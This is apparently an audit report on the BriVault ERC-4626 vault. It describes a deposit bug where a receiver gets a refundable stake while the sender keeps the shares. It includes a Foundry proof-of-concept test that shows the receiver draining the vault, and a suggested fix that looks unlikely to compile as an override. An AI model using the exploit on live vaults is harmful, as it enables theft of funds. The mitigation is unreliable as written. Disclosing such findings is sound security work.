Description
-
In an ERC‑4626 vault, deposit(assets, receiver) should transfer assets from the caller (msg.sender) into the vault and mint shares to receiver, so accounting for who paid vs. who owns shares is consistent across deposit, cancel, join, and withdraw flows.
-
The vault records the stake under stakedAsset[receiver] but mints shares to msg.sender. This splits ownership/bookkeeping across two different addresses, enabling refunds to the receiver who never deposited, while the shares (and join/withdraw rights) stay with the sender. This violates ERC‑4626 semantics and breaks event logic (join/cancel/withdraw) and payouts.
function deposit(uint256 assets, address receiver) public override returns (uint256) {
require(receiver != address(0));
if (block.timestamp >= eventStartDate) { revert eventStarted(); }
uint256 fee = _getParticipationFee(assets);
if (minimumAmount + fee > assets) { revert lowFeeAndAmount(); }
uint256 stakeAsset = assets - fee;
stakedAsset[receiver] = stakeAsset;
uint256 participantShares = _convertToShares(stakeAsset);
IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
_mint(msg.sender, participantShares);
emit deposited(receiver, stakeAsset);
return participantShares;
}
Risk
Likelihood: High
-
UIs and integrators commonly set receiver to a different address than the caller (e.g., depositing for a friend or a multisig), which will immediately trigger the mismatch in live use.
-
An attacker can intentionally set receiver ≠ msg.sender to cause the vault to owe a refund to the receiver who never funded the deposit, making this a practical exploit path during normal participation.
Impact: High
-
Fund leakage/theft: The receiver can call cancelParticipation() and receive stakedAsset[receiver] back from the vault even though the sender funded the deposit, draining assets paid by the sender. Shares are burned from the caller in cancelParticipation, but if the receiver has no shares, the burn is zero while the refund still goes out - net loss for the vault/sender.
-
Broken tournament payouts: Event participation and winner share accounting rely on balanceOf(msg.sender) vs. stakedAsset[msg.sender]. With shares and stakes attributed to different addresses, joinEvent, _getWinnerShares, and withdraw produce inconsistent totals and skewed payouts.
Proof of Concept
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MockERC20} from "./MockErc20.t.sol";
contract DepositAccountingExploitTest is Test {
BriVault vault;
MockERC20 token;
address user1 = address(0xA11CE);
address user2 = address(0xB0B);
address fee = address(0xFEE);
uint256 start;
uint256 end;
function setUp() public {
start = block.timestamp + 2 days;
end = start + 30 days;
token = new MockERC20("Mock", "M");
token.mint(user1, 10 ether);
vault = new BriVault(
IERC20(address(token)),
150,
start,
fee,
0.0002 ether,
end
);
vm.startPrank(user1);
token.approve(address(vault), type(uint256).max);
vm.stopPrank();
}
function test_ReceiverCanDrainRefundOfSenderDeposit() public {
vm.startPrank(user1);
uint256 sharesMintedToUser1 = vault.deposit(5 ether, user2);
vm.stopPrank();
assertEq(vault.balanceOf(user1), sharesMintedToUser1, "shares to sender");
assertEq(vault.balanceOf(user2), 0, "receiver has no shares");
vm.startPrank(user2);
uint256 vaultBalBefore = token.balanceOf(address(vault));
uint256 user2Before = token.balanceOf(user2);
vault.cancelParticipation();
uint256 vaultBalAfter = token.balanceOf(address(vault));
uint256 user2After = token.balanceOf(user2);
vm.stopPrank();
assertGt(user2After, user2Before, "receiver stole the refund");
assertLt(vaultBalAfter, vaultBalBefore, "vault lost assets");
}
}
Recommended Mitigation
- function deposit(uint256 assets, address receiver) public override returns (uint256) {
- require(receiver != address(0));
+ function deposit(uint256 assets) public override returns (uint256) {
if (block.timestamp >= eventStartDate) { revert eventStarted(); }
uint256 fee = _getParticipationFee(assets);
if (minimumAmount + fee > assets) { revert lowFeeAndAmount(); }
uint256 stakeAsset = assets - fee;
- stakedAsset[receiver] = stakeAsset;
+ // Accrue stake to the actual depositor
+ stakedAsset[msg.sender] += stakeAsset;
uint256 participantShares = _convertToShares(stakeAsset);
IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
_mint(msg.sender, participantShares);
- emit deposited(receiver, stakeAsset);
+ emit deposited(msg.sender, stakeAsset);
return participantShares;
}
